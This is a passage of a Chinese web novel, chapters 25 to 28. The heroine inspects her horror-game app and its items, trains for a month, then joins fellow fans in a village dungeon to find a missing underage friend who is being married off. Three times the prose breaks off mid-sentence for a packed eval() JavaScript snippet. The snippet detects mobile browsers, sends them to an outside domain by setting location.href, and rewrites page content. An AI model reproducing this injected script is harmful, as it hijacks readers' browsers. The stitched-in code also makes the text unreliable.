“怎么？你们公会想买？”石云蔚抱臂环胸靠在毛坯墙壁上，露出了一整个副本里都没展现出的凌厉模样。不过其实也不是很熟悉她的几人反倒觉得这才像她，那种大众认知刻板印象里的漂亮优雅英语老师，感觉好像把她棱角团吧了塞一团史莱姆里面一样奇怪。 明诀弯了弯眼，看上去倒是和副本里展露出来的性格没什么差别：“是呀，顺带想伸出橄榄枝呀。我的编号是012-13514，所在的公会【千秋】还是不错的，排名现在应该是前十我记得。现在讲太多福利待遇你们大概也来不及记，我一会儿会私发给你们，还没有入公会的可以考虑一下我们公会哦，毕竟也算共患难了嘛。” 步绾知道他其实是在对她发出邀请，当然也不排除这个公会确实善心很足容纳百川。不过她有些疑惑的是石云蔚居然没有来邀请她，排除那么一点自恋的想法，看她和明诀隐隐针锋相对的样子，总以为她会添点乱子。 黎微月凑过来教歩绾怎么使用新出现的添加好友功能，得到应允后把所有人的好友加了个遍。 而明诀似乎知道他在这里会给歩绾带来压力，非常爽快地朝他们挥手道了别，消失在几人面前，像是一串消散的数据流一样。 石云蔚站直了身子：“他说得也没错，他那个公会挺厉害的，普通玩家确实挤破了头想进去，你们可以考虑一下。” “那你……”歩绾犹豫了一下，想问她加不加，又觉得她其实应该也是某个大公会的大佬；想问她是什么公会，又怕她刚刚不说是因为自家公会排名不如明诀的；问得太详细了，又担心石云蔚会觉得她在货比三家，于是又悻悻闭嘴。 “我在一个亲友小公会，”石云蔚完全猜到了她在想什么，笑了下，姿势也不再是刚刚的抵触姿态，“不邀请你们的主要原因就是肯定带不来他们那么好的资源，当然，如果乐意的话也可以来找我，反正大家都加了好友。” 她话音一转：“钥匙的话确实可以考虑卖给他们公会，换道具或者让他们陪着你下副本都可以，S级的可遇不可求，你可以待价而沽的。” 歩绾点了点头，道了声谢。 她其实并不想卖，不管有没有实力进本，又或者之后会不会进本，她都想留着这把钥匙，因为这把钥匙能让她找到她们。 25.第 25 章 25 出乎歩绾意料的是，离开游戏大厅之后她出现在了自己的家中。 准确说是自己的房间里，床上。 她盯着书桌发了几秒呆才反应过来，第一件事就是确认这是自己的房间，没再突兀地来个什么穿越或者重生；第二件事才是解锁手机，界面还停留在短信界面，但是是一条广告。 一条普普通通平平无奇的广告。 甚至退订写的回复T。 她退出了短信界面，不出意外地在主屏幕上发现了一个新的，看起来一点也不危险的图标，下面写着四月一日战场。 …… 为什么说它看起来一点都不危险呢？ 因为它的图标有一个看板郎。 一个黑毛看板郎。 使得这个app感觉可以直接进应用商店，排入必玩游戏行列里。 步绾嘴角抽搐，研究了下这个看板郎，感觉就只是个平平无奇的帅哥，没有其他特色。 不是白毛差评。 点进app没有那种网络位置读取申请，也没有要求输入身份证，步绾竟然隐隐地有些小失望，很快又骂自己一句有病。 主界面是横屏的，看起来像是一款普通的游戏，UI设计倒是异常酷炫。 是灰黑色的背景，图标是更深的黑色，字体是尖锐的中宋。图标以环形排列的方式围绕着一个泛着幽幽蓝光的地球模型，触碰了一下却没有弹出新的界面，只是有一道蓝光像流星一般闪过。 地球模型的下方有着倒计时，大约还有三十天的样子，总感觉是在说一个月内要再进一次副本——总不可能是还有三十天地球就爆炸了吧？ 左侧悬浮着的图标分别写着：积分、商城、好友、公会、邮件，右侧图标则是背包、仓库、个人信息、百科和W。甚至还有一个“客服”，这破游戏居然还配备客服。 两侧下方都有几个相较而言泛灰的图标，上面的字符看不太懂，根本无法点击，不知道是暂且还没开发好，还是还没对她开放。 那“W”的图标闪烁了两下，忽然也变成了同样的字符，图标也暗了下去，过了两秒又恢复了正常，于是步绾意识到，这个按钮其实是只有她能看到的。 又是GM特供。 点击“W”之后，所有的图标都变成了灰白色，其它倒是没有发生什么变化。 步绾最感兴趣的自然是个人信息那一块儿，点进去之后嘴角没忍住一抽。 这个人信息看起来像是抄了跑团的调查员属性卡，但应该只是借鉴了一个形式，数值大概率和跑团无关。 不会到最后发现她这个所谓的GM这个所谓的被创造出来的神明，其实是给人邪神在地球上挑的载体吧…… 【姓名：--/步绾/--（你还有什么惊喜是我们不知道的呢） 职业：倒霉的玩家/倒霉的社畜/伟大的造物主/GM/--/--（或许下一步更新是去掉没用的形容词？） 编号：018-46912/--（你知道我要说什么的，对吧？） 力量：20/--（天哪，你大概就比虚弱好那么一点吧） 体质：40/--（也不能指望一个天天加班的社畜体质能好到哪里去吧？） 体型：50（171cm-波动的体重，普通的社畜拥有普通的体型） 敏捷：55/--（好歹没辜负你天天挤地铁的经历） 外貌：80（顶尖的游戏玩家一般配备顶尖的外貌，遗憾的是只有人类才会有这一项） 教育：80（硕士研究生的含金量！在游戏里是顶尖，可惜在职场只是敲门砖） 智力：85/--（说真的，你应该知道在这里智力高不是个好倾向吧？） 意志：40/--（你抵抗不了玄幻恐怖，但好消息是，你才是恐怖） 能力：--/哀特尔之眼（坏消息，不可升级；好消息，不可升级） ……】 步绾陷入了久久的沉默。 她现在越来越觉得之前那个邪神载体的猜测很有可能实现了，这一条又一条的“--”看着实在吓人。 而且什么叫“好消息是你才是恐怖”啊？这是不是也太吓人了点啊？！ 哀特尔又是什么东西啊？ 点了一下，发现底下浮现了两行小字：您总能看见细微的、别人无法观察到的事物，您更容易窥伺到真相，您更容易因为真相疯狂，但万幸的是，您才是疯狂本身。 ……不像好话。 目前看下来的话50差不多是普通人的标准，力量20相对太差劲了，不过步绾确实也并不意外，正如括号里所说，一个天天加班三餐不规律的社畜体质和力量能好就怪了。 ——所以拯救世界的往往是无业青年和热血少年。 这种说法感觉好像骂了很多人。 界面闪了闪，括号里的内容又发生了变化。 【姓名：--/步绾/--（不用担心，系统公布的从来都是编号） 职业：倒霉的玩家/倒霉的社畜/伟大的造物主/GM/--/--（可以从商城兑换货币，但是贸然辞职的话会被发现端倪的哦） 编号：018-46912/--（进入的时间早晚并不等同于厉害程度） 力量：20/--（日常的锻炼可以增强力量，你不会只从商城里兑换加点吧？） 体质：40/--（同上，但是还是兑换一点吧） 体型：50（这个倒是无所谓变不变的吧？） 敏捷：55/--（70是欧洲扒手的水平） 外貌：80（美貌为什么不能算是一种武器呢？） 教育：80（不用害怕，我们和克苏鲁神话不搭边！您的教育就是普通的应有的教育！） 智力：85/--（亲亲这边也不提供损害智力的药剂哦） 意志：40/--（亲亲这边提供提升意志的药剂哦，但谁说意志低不是一件好事呢？） 能力：--/哀特尔之眼（坏消息，不可升级；好消息，不可升级） ……】 步绾看了心情更加复杂。 她又点了一下能力那一栏，发现字变了点：你总能看见细微的、别人无法观察到的事物，你更容易窥伺到真相，你更容易因为真相疯狂，有时你才是盲点本身。 ……更不像好话了。 而且人称都变得不是那种虚伪的尊敬了。 她在点进商城之前先看了眼积分。 她目前到手的是55000积分，其中D级副本保底5000，S级结算50000。 积分规则介绍得很清晰，D级副本保底结算分数5000、C级1万、B级10万、A级100万。没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14694628|156623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说S级，这大概也是大家都不知道还有S级副本存在的原因。结算一般情况下也是从D级到S级不等，一般会是保底结算分数的十倍，但这个十倍也只是个“保底”，因为一般情况下每个副本都会有直播打赏的。 但结算特殊也就特殊在，它是有E这个等级的。玩家在副本中濒死时使用了道具又或者触发了什么其他效果，或者玩家在副本中打出必死结局但却触发了什么其他效果——这里的“什么其他效果”是一串黑色正方形，步绾也不知道到底是个什么效果——当然还有更离谱的，就是玩家在副本中濒死，但是直播间观众有哪位金主特别有钱，愿意斥巨资保下这一位玩家，那么这名玩家就会获得E级结算。 这种实在有点神奇。 “W”使得底下还出现了几行小字补充，大概意思是所以GM不用担心死亡，就算濒死也会以E级结算结束的，如果担心暴露的话，商城里有工具可以改头换面，至于编号更不用担心，GM的特权就是可以随意更改编号。 画得越完满的大饼越让人害怕。 步绾现在越来越觉得自己可能是哪位神明看中的躯体了。 ——可这图啥啊？图她20的力量还是图她40的体质啊？！ 怀着悲愤的心情步绾逛了一圈商城。 理所当然的，五万的积分什么都买不起。 比如说系统介绍的改头换面的那个工具，后面的零多到让人乍舌，一次使用还只能持续一个副本的时间；再比如说延缓入副本的“兑换券”，一张就要二十万积分。 歩绾忽然在想，石云蔚她们下副本的次数都不算多，但是数列排得算是靠前。结合她现在还有一个月的时间准备下一个副本的情况……如果不是在下副本次数这边说了谎，就是参与的各个位面的玩家有点多，以及比起积分来说直播打赏才是大头积分。 想不太明白，她去打开道具列表。 【获得S级道具：一个谁看都是哈苏的相机。 一个星期有七天，金鱼的记忆是七天，罐头的保质期限是七天。比起死亡更痛苦的还是遗忘吧？到底是因为模糊了遗忘痛苦，还是因为摔碎了遗忘痛苦呢？ “但是彩色的照片永远不会褪色的，我分不清这个相机那个相机，但你说你喜欢哈苏。” 功能：使用次数1/10，十次后永久销毁。 使用说明（非官方）：当打印机用吧，拍一张照片可以召唤出照片里的非活物，比如拍电池就会出现一个能用的电池，持续的时长看你的能力。】 【获得S级道具：一扇除了歩绾都能进入的门。 不要回来了。 功能：一把可以打开S级副本《*****》（原D级副本《生长痛》）的钥匙，它现在属于你了，但是它原本的主人却拒绝了你的进入。（可交易给其他玩家）】 歩绾茫然地，呆滞地，看着手机屏幕上的字。 近视的人侧躺在床上玩手机的时候，偶尔会觉得字模糊不清扭曲不定，她现在就是这样的感觉。 熟悉的中宋字体在她眼前变得扭曲，漾着浑浊的光，简单的五个字这一刻变得好难读懂。 她脑海里浮现影影绰绰的轮廓，如副本里看到的那样，温和且平静地对她说：“不要回来了。” 甚至用的还是贺清璟的模样，到最后说了再见她也不知道顾南栀到底长什么模样。 26.第 26 章 26 歩绾平静得很快。 她还要上班。 但她决定摸鱼。 她坐在工位上捧着九块九的咖啡，在软件上搜跆拳道搏击泰拳各种哪个更能防身。 在大城市生活的最大的好处就是什么培训都有，只有你想不到的，没有你搜不到的。 预约着试课，她随意地微信通过了商家的联络方式。以前她很抵触这一点，感觉自己的私人空间好像被侵占了，但现在她已经无所谓了。 她在想，括号里写贸然辞职的话会被发现端倪，这话就好像明晃晃地告诉她，她身边也有被卷入的玩家，甚至可能是那种毒瘤，会在现实里出手的。 ……啊，但该说不说，如果让她一直这么加班下去，指不定哪种结局更好呢。 辞职目前来看没什么可能。 一方面是这游戏也不建议，一方面是目前来说兑换货币性价比实在太低了，而她还需要足够的金钱去支付算不上便宜的私教课程，健身房也要给钱，吃健康的食物也要比平时的垃圾餐更贵。 还要想办法试探一下家里人有没有被卷进这个游戏。 步绾咬紧了唇，她确实有些不敢想象如果家里人被卷进这个游戏会怎么样，这种事情太恐怖了，以至于她一产生些许相关的苗头都会感觉到窒息。 难怪小说主角少年漫主角都要身世悲惨，不然家人都会成为他们最大的软肋。 试探了之后发现家人过得都挺好的。 老人家们都不必担心，这破烂游戏没有人口老龄化，大概那不知道在哪儿的直播观众也不想看老太老头颤颤巍巍——呃，等下，以她家那俩老太菜市场买菜的灵敏程度，极大可能，不，绝对秒杀了她的20力量40体质。 她娘过得也挺好的，顺带又发了一份简历给她，说这是谁谁谁家儿子，就比你大五岁，年少有为不自卑懂得爱人最珍贵。 歩绾回道：挺好的，被封了靠腮帮子肉里存的粮食也能活两个月。 气得她娘发了三段59秒的语音，歩绾一个都没点开来听。 朋友们也过得挺好的。 ……领导们过得更好。 @所有人，请各位对照表内基数并确认，中午十二点碰一下对齐一下颗粒度。 @所有人，数据是需要反复check的，这个事情要形成一套完整的闭环，懂吗？没有闭环就没有沉淀，我也没有看到你们的思考和沉淀，不可能你们进这个部门之后一直都是我在负重前行，我希望能看到你们自己的思考和成长所在。 @所有人，这是一条崭新的赛道，不光是我，后台领导也非常看好这个未来，希望大家可以下钻得更深，找到抓手后就很容易了，相信大家，相信公司，相信未来！ 也很难说到底是恐怖游戏恐怖，还是这日复一日的工作恐怖。 歩绾并不平静地度过了这一个月。 她删除了手机里所有游戏，将所有空闲时间拿去锻炼身体。 常言道死线是第一生产力，当死线变成一条真的死线的时候，人确实能被激发出无限的动力。 好消息是力量变成了30，体质变成了45。 只要低谷够低，爬出一点高度都显得特别厉害。 坏消息是这一个月的消费也直线上升。 想吃的平时舍不得吃的都吃上了，天知道下个副本她会不会折在里面。所谓尽人事听天命，尽人事就是她天天锻炼打泰拳，听天命就是她把想吃的都吃了，别等到最后要死了还在后悔一直想吃但没吃成的那家店。 ——虽然最后发现这些店真没什么好吃的，除了价格一无是处。 不过其实也是经历了这么一茬，歩绾也才意识到要调理好身体没她想象得那么难。 浑浑噩噩的社畜，上班时间名义上是规律的朝九晚五，但八点能下班已经算是领导大发慈悲；早上倒确实是非常准时的九点，某种程度上算得上是公司优点的是每早都有咖啡，这基本上就是每天掐着点上班的歩绾的早饭。 咖啡当然不顶饱，但是忙起来的时候自然会完全失去对饥饿的感觉。开会时间又往往放在理论上该是休息时间的中午，领导们说得倒很好听：大家碰一下，时间不长；拉个短会，拉完就去吃饭；说一下底层逻辑，说完大家就休息…… 开完会食堂只剩下残羹，点了外卖的话看着又失去了食欲。没那么忙的话就抓紧时间睡一会儿，忙的话继续赶工争取晚上早点回家。 白天都这么累了，晚上就只能如同行尸走肉地回家，草草卸妆洗个澡，别说锻炼了，如果不是饿麻了连晚饭都不想吃。 只是现在有着真正意义上的死线逼着，歩绾强迫给自己注入能量，或者说打鸡血，开始做了反而觉得不难了。 早上六点起床，搞俩水煮蛋和鸡胸肉吃了，她现在确实没法空腹有氧，下楼跑步，冲个澡，再在便利店逛一圈搜罗想吃的，这个逛一圈的动作就当作她的喘息时间。 地铁上的通勤时间自然也是她的放松时间，生活已经够苦了，真要所谓争分夺秒地利用所有碎片化时间，她可能早就开摆直接去死了。 唉，也不一定，她到现在也没真正意义上濒临死亡过，天知道她到时候会不会有那种非常强烈的求生意志呢。 正常上班，但是她现在敢勇于拒绝领导的一些无理要求了。平时的加班或许多少都有一些因为领导没走所以我也不能走、那还不如慢吞吞干活的心思，现在是抓紧时间干活，估计了差不多就提包走人，领导吹胡子瞪眼也当放屁。 老娘都快活不下去了还听你屁话？ 于是人生豁然开朗。 但是如果豁然开朗后复行数十步不要再极狭就好了。 原来这就是人生。 哇。 歩绾心想自己简直就是大哲学家。 大哲学家要进下一个副本了，生死之间走一遭说不定就再度升华，接下来写出世界闻名的箴言，然后暴富，然后辞职。 其实也不用创作，可能就拍拍自己的高能量精致人生，也能靠这个暴富，然后辞职。 哇。 好一段又现实又不现实的幻想啊。 怀着这样莫名其妙的心情，歩绾进入了第二个副本。 【「系统」：C级副本“嫁给大山的团咪”已开启。】 步绾：？ 什么东西？ 什么鬼东西？！ 这辈子没能想到嫁给大山能和团咪两个字放在一起，她这种还在追赶潮流的老二次元能看得懂团咪是什么意思，但她觉得大部分人应该都看不懂吧？ 【你的团长失联了，上次出现在群里还是收款的时候。 你甚至觉得下一步会出现她的亲朋好友在网上发布讣告，沉重哀叹一个花里胡哨的网名即将消失，可能是她“不会用社交网络”的妈妈，也可能是在群里和她一唱一和的至交好友。 你还不如去跟未成年的团呢！最起码亲爱的未成年还会在周末闪现。 幸运的是，你的亲亲团咪找了个不一样的借口。 ——她说她要回老家结婚了。 啊？ 副本通关目标：找到团咪。 副本通关提示：最起码问问你亲爱的团咪愿不愿意吧？】 步绾一瞬间觉得自己好像在看什么抽象文学，倒不是说这段文字很抽象，好吧，还是有点抽象，总之她确实有点地铁老人看手机的架势。这种介绍比起上一个D级副本的介绍来说，老实说，确实给出了更多信息，但是她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14706607|156623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真的忍不住觉得还不如看到什么璀璨明珠。 这回副本没给她更多的吐槽时间，她只是一眨眼，就出现在了一辆面包车上。 印花的座椅罩，沉闷的汽油味，昏暗的氛围，步绾一瞬间错觉自己才是那个团咪，但是她身边过于时尚的腿告诉她不是。 她的视线没忍住在那条腿，呃，那条裤子上面停留了很久。 以前有个笑话还挺广为人知的，孙女穿着破洞裤回奶奶家，第二天起来发现奶奶已经把裤子上的洞缝了起来。但是这条裤子，怕是连奶奶都会说给我拿来当拖布吧的程度。 光是一条大腿起码十个洞，破烂到只看到白线，白线密集到完全遮住了腿。穿裤子的人很瘦，但是裤腿很肥大，即便是坐姿也松松垮垮地飘在座椅上。 步绾微微抬起头，下意识往窗子那儿靠了下。 好潮一男的，是她路上看到会躲远一点的程度。 先看到的是不知道什么布料、但看起来有点像锡纸的无袖背心，挺亮眼的，背心的兜多到堪比战术马甲，松松垮垮地罩在内搭的白色背心上。然后看到的是一张长得有点让人移不开视线的脸，鼻峰和眉骨都优越得像希腊的雕塑。漂染到天蓝色的头发，发根都是浅的，感觉头皮会很疼。 都说好看的人穿麻袋都好看，搁身边这位兄弟身上就是穿锡纸都好看。 那人和她对上了视线，然后他的视线似乎下意识也向下移了一下，露出了步绾感觉此刻明明应该是出现在她脸上的表情。 于是步绾视线也缓慢……缓慢不了，她受到了猛烈的冲击。 倒不是说这身衣服怎么样，只是她确实没穿得这么五颜六色色彩缤纷斑斓五彩花里胡哨过。粉色的渔网毛衣——就像没想过嫁给大山能和团咪这个词联想在一起，步绾这辈子也没想到能穿上粗针织的破破烂烂的渔网毛衣，还是这种荧光色彩——渔网毛衣里面是黑色的吊带，裙子也是黑色的，像个黑色的鸡毛掸子，但又很短，看不出来这个人到底是冷还是热。 最为震撼的是粉色的渔网袜和厚底马丁靴，好厚的底，步绾感觉她穿上这鞋得有一米八——不是，这个副本不是在山里吗？她要踩这么高的跷在山里行走？！ 这身堪比男频小说里白色百褶裙配紫色丝袜红色帆布鞋的搭配让步绾受到了极大的冲击，一时间完全理解了她旁边大兄弟那复杂的神色，现实生活中遇到这样的人她不光会退八百米远，还会非常迅速地打开通讯软件和朋友分享她的震撼。 于是步绾头一回不太关注环境背景之类的，猛地抬起头来扫视了一圈车上的其他乘客。她和这位潮男坐在第一排，旁边坐着一个，后排还坐着两个。 比之这两位潮女潮男，这三个人看起来正常得多了。 坐在旁边的男生烫着个锡纸烫，现在好像不太流行那种渣男锡纸烫的说法了，不过他那张脸也确实很符合普世意义上的渣男刻板印象，一张很棱角分明的脸，眼睛似乎看谁都很深情，哪怕现在看两只花蝴蝶也很深情，被深情地冲击到了。 但是。 他抱着一个痛包，背板上面全是徽章，徽章上是个二次元美少女，认不出来是什么角色，背包拉链上还挂着个Q版人偶。 后排外侧的玩家看不出来是男是女，长相是雌雄莫辨的精致，步绾本来想凭借对方的蓝色挂耳染和鲻鱼头来判定是女性，但是又不敢确认，穿着暂时看不太清楚。 内侧的玩家是一个……显然扮演成年男性角色到工伤的coser，瞧那即便是在昏暗环境下都看得清楚的鼻影和难以形容的开嘴角画法，但此刻因为玩家本人没有“鬼迷日眼”的习惯，那双有神的大眼睛在这张脸上有点奇妙的违和。 妈呀。 这是一车什么神奇的搭配啊。 27.第 27 章 27 “呀，你们醒啦，也快到了。” 开口的是司机，司机看起来是个正常人，或者应该说正常的npc，是个中年男人，穿着藏青色的polo领短袖，乐呵呵地和他们聊天。 好像是因为觉得他们是城里人，确切来说是城里的艺术生，所以再稀奇古怪的装扮也会觉得城里人就是这样的。 ……其实城里人应该也不会这样。 她身边那个玩家已经非常自然地和司机聊起了天，套出了不少话——比如他们的身份是来山里写生的艺术生，虽然不知道是不是虚构的身份，但总之完全贴合了司机的刻板印象。 还问了很多风土人情之类的，步绾也没明白话题是怎么从推荐必吃一路拐到离开大山的年轻人们，然后再跑到大家结不结婚几岁结婚生几个孩子的话题上面的。 步绾一边惊叹着这出色的套话技巧，一边从座位上摸到大概是滑落下来的插着充电宝的手机，试图确定自己的身份。 手机并没有设置密码，或许这算得上是游戏的照顾之处，她先打开某软件面容解锁看了眼证照信息，这个身份叫鹤信脩。 步绾对这个名字当然有印象，她那一个月不仅把电脑云盘翻了个遍，还回了趟老家在没丢的笔记本当中翻出了数本大作。 居然还专门有一张纸写满了人名，大部分是她从楚辞诗经中翻出来的看起来好看的词汇。她现在还有记忆的是“容与”，意思是行走缓慢的样子，她笔下所有出过车祸出过事腿脚有段时间不大利索的主角都叫这名。 鹤信脩是她的一篇综漫文的女主，那时候还很流行时空管理局的设定，凌驾于世界之上且独立于所有世界的机构，存在的意义简单来说就是为了保证各个世界在自己的轨迹上安全运行不相撞。 鹤信脩的任务世界基本上是玛丽苏世界，写下这篇文的初中步绾应该很开心，但是却创死了十多年后的步绾。 不知道是不是因为这么个身份设定才给了鹤信脩这么花花绿绿的装扮风格。 然后步绾震撼地发现鹤信脩完全打破了人们的刻板印象，她居然是个学数学的。 她又翻了一遍Q，快速略去无意义的水群刷屏，得出了关键信息，确实和简介说得大差不差。 她们这一车面包人都是在拼团收徽章制品时认识的，团长真名不知道，昵称是嘉嘉子。 嘉嘉子是一位让人放心的团咪，已经成年正读大学，在群公告里放了自己打码的学生证件以及所有的联络方式，开过不只一次团，每次都非常主动热情有售后有保障，很多人都开始固定跟团。 所以这样的团长突然消失的时候，其实大家感性上还是偏向于出了什么事而非想恶意侵吞款项，毕竟大家已经认识这么久，每天群里嘻嘻哈哈热热闹闹的，都自认为是朋友了的程度。 也正因如此，在团长现实的好友、昵称为“祈安渌”的群友告诉大家，团长回老家结婚的时候，所有人都大受震撼。 大概的反应用网上常见的评论来说就是——如果是真的，那么我希望是假的；如果是假的，那么我希望是真的。 嘉嘉子今年才大二，远远没到法定婚龄，不管是不是朋友，哪怕知道是个陌生人，在这个年纪要被带回老家结婚，大家都会下意识担忧一下。更别提嘉嘉子现在处于一个几乎于失联的状态。 车上的五个人和嘉嘉子关系都不错，是跟过几车发展成固定车队的朋友，她们有一个单独的小群，再加上祈安渌，一共七个人，大家扯东扯西扯现实骂学校，比起网友更加像是亲近的朋友。 祈安渌是先告诉她们然后再转达给大群的，都惊起了千层浪。 转达之后的第二天，也就是她们出发的三天前，嘉嘉子出现了，告诉大家，祈安渌说的是真的，她要回老家结婚了，等办完婚礼之后会回来处理事项的，请大家放心。 并给大家展示了打码的婚礼请柬。 大群里的大部分人对嘉嘉子的了解并不是很多，只知道她是成年人，不知道她到底多大，外加后来小群里的几个亲友发现更大的不对劲之后，压住了群里可能会起的波澜。 ——嘉嘉子在小群里给她们发了请柬，说感兴趣的可以来，可以住她家，农村自住房能住很多人呢，不用给红包礼金什么的，人能来就好了。 没有打码的请柬上面，女方的名字写着三个字： 徐罔市。 步绾第一次知道这个名字是好早以前看了部电视剧，有一个角色叫罔市，她那时候不知道是什么意思，只觉得罔市这个名字一看就非常符合暗黑中二少女对名字的一切妄想，那个时候的步绾已经看不太上羽影沉·顾·蝶魅纱柔梦了。 只是后来知道了罔市什么意思，她就再也不觉得这名字好听了。 这是沿海地区以前很常见的一个名字，取自“罔饲”，“既然生已生矣，勉强仔饲，罔生罔饲”，不知道和“招娣”来得哪个更加让人厌恶一点。 嘉嘉子看起来好像接受度非常良好，她不觉得这件事有任何问题，在群里一派自然地回答，结婚生子不是大家的必经历程吗。 ——可是你没到法定婚龄啊？ 大家都是这个年纪结婚啊？ 于是小群里名为“宿留”的群友飞速拉了一个没有嘉嘉子和祈安渌的小小群——他并不确定祈安渌的态度，感觉好像也有点暧昧模糊——问其他人要不要一起去参加婚礼，见机行事。 大家一拍即合，唯一还有点心眼的是名为“粟米玛森”的群友，说已经联系了是警察的亲友，让她见机行事。 于是口风一转，在七人的群里纷纷表示好呀好呀要去参加好朋友的婚礼呀，好呀好呀还没去过那里呢好期待啊，好呀好呀婚前一夜要不要开个单身趴放纵一下。 步绾翻完了一圈聊天记录之后感觉还是有点微妙。 不过既然有了五人的小群就好办了，这可比上一个副本的联络来得方便得多。 有人和她抱有一样的想法。 宿留：@全体成员 宿留：应该都大概了解现在的情况了吧？ 我推的绿绿酱：我了解，但不理解 我推的绿绿酱：我大受震撼 世界第一总攻：我大受震撼 发出这条消息之后步绾才注意到了自己的群名，更加大受震撼，梦回初中时候顶着群头衔“全群第一总攻”发消息必加233和颜文字及方括号的一些……美好时光。 人妻lo??ve：团咪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14720915|156623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是团长的亲昵称呼吗？ 人妻lo??ve：我靠 显然这个也是被自己的群名片震撼到的。 世界第一总攻：对的 粟米玛森：【链接：跟团？吃谷？吧唧？速速来看这些常用圈子词汇！】 步绾的回复和一个链接同时出现。 至此，五人全部冒泡。 这么一看最正经的名字居然还是那个“宿留”。 宿留：宿留山，大二，学IT的，男，鲻鱼头。 啊。 步绾有点不知道该怎么介绍自己，杀马特，亚文化爱好者，y2k，还是什么？ 人妻lo??ve：林同归，大四，抱着全是吧唧包的这个烫头的男的 人妻lo??ve：但我得强调一下，我本人没有群名片这么独特的爱好 粟米玛森：苏敉，大二，成男工伤的那个 我推的绿绿酱：逢虚，大三，蓝毛 现在就差步绾没介绍了，但她实在还没找到一个适合介绍自己的词汇，虽然现在大家应该已经知道剩下那个就是她了。 世界第一总攻：鹤信脩，大一，最花里胡哨的那个 粟米玛森：宝，你是真花啊 我推的绿绿酱：+1 人妻lo??ve：+2 宿留：我看看 宿留：+3 世界第一总攻：别说了 世界第一总攻：我想不明白谁会穿着厚底马丁靴来山里 粟米玛森：：） 粟米玛森：我想不明白谁会穿着带内增高的松糕来山里 世界第一总攻：……是真的成男工伤了 人妻lo??ve：成男工伤是啥？ 粟米玛森：看我 几人默契回头。 苏敉微微抬起下巴并显而易见地往下扯了扯，抿唇扯嘴角，略眯起了眼睛，但眼神诡异地又有些迷离又写满了坚定，然后她坚定地举起了手，在脸颊比心。 几人陷入沉默。 然后苏敉低下头来夸夸打字：女生出这种成男（成年男性）的cosplay，就大概是深眼窝、超重的修容、鬼迷日眼的神态，以及双开门和顶胯叉腿增高的体态……成了一种习惯，再也回不去之前的清澈少女：） 世界第一总攻：……一念公嬷（不是 人妻lo??ve：一年共模是什么？ 世界第一总攻：……我们聊点正经的吧 世界第一总攻：罔市是讲究养活的意思，和招娣差不多，大家应该都知道 粟米玛森：对不起我不知道（） 人妻lo??ve：对不起我不知道（） 宿留：但这个名字是闽南方言，我们这里是大山 宿留：可能会有一点闽地相关元素或者信息 宿留：大家可以关注一下 我推的绿绿酱：我记得徐罔市之前说过自己有弟弟 我推的绿绿酱：你们有人记得她弟弟叫什么吗？ 粟米玛森：我问过祈安渌 粟米玛森：嘉嘉子弟弟叫徐锦程 步绾下意识在群里敲了一串省略号。 讲究养活和锦绣前程，这叫个什么差别。 28.第 28 章 28 宿留：两个疑点 宿留：一是手机问题，本来以为徐是被没收了手机无法联系，但是现在看她好像接受也很良好，得考虑一下她是否还是本人的问题 宿留：二是祈的态度也有些模糊不清 我推的绿绿酱：还有是否是出自她本人意愿的希望我们过来 步绾理解了他们的意思。 大家都以为嘉嘉子是没收了手机阻止求援，但是从她后续的回复中她觉得这是一件正常的事情。要么这话不是出自本心，她在自我安慰、又或者被人看着，要么这话确实出自本心，那么先前的不回消息就存了疑点，或者更离谱点，但是放在副本里比较常见的情节，她不一定还是那个“徐罔市”。 祈安渌最开始出现的时候好像也担忧于嘉嘉子的消失，主动揽下了要去找她的活，但是再次带着她的消息出现的时候又表现得过于镇定了。 这种镇定是指，假如一个人知道自己一个相处不错的女性朋友，在没到法定婚龄的时候突然说要回老家结婚的时候，总是会或多或少流露出一些担忧的。 除非就是她在嘉嘉子那里看到了什么，或者被感染了什么。 在两个人都不大对劲的情况下，自然就存在着一种糟糕的情况，一种最糟糕的、大家都不愿意去想的情况——把网友骗进村里。 步绾也没那么仔细地看群，所以不知道其他人有没有明确地表示出自己的性别。 我推的绿绿酱：逢虚没有在群里明确说过性别。 人妻lo??ve：挠头 人妻lo??ve：林同归一会儿被说死给一会儿被说钕铜…… 人妻lo??ve：我也不知道 世界第一总攻：应该都知道我是女的 粟米玛森：+1 宿留：宿留山不清楚 宿留：大家都管他叫妈咪 粟米玛森：……但也可能是男妈妈。 蛮多人好男妈妈这口的，不管是不是二次元。 粟米玛森：虽然但是 粟米玛森：朋友们 粟米玛森：虽然我们来说不太合适 粟米玛森：但是为什么 粟米玛森：就你们应该懂我意思吧 粟米玛森：这个本一看就是那种山沟沟里的 粟米玛森：呃比较沉重恐怖的主题 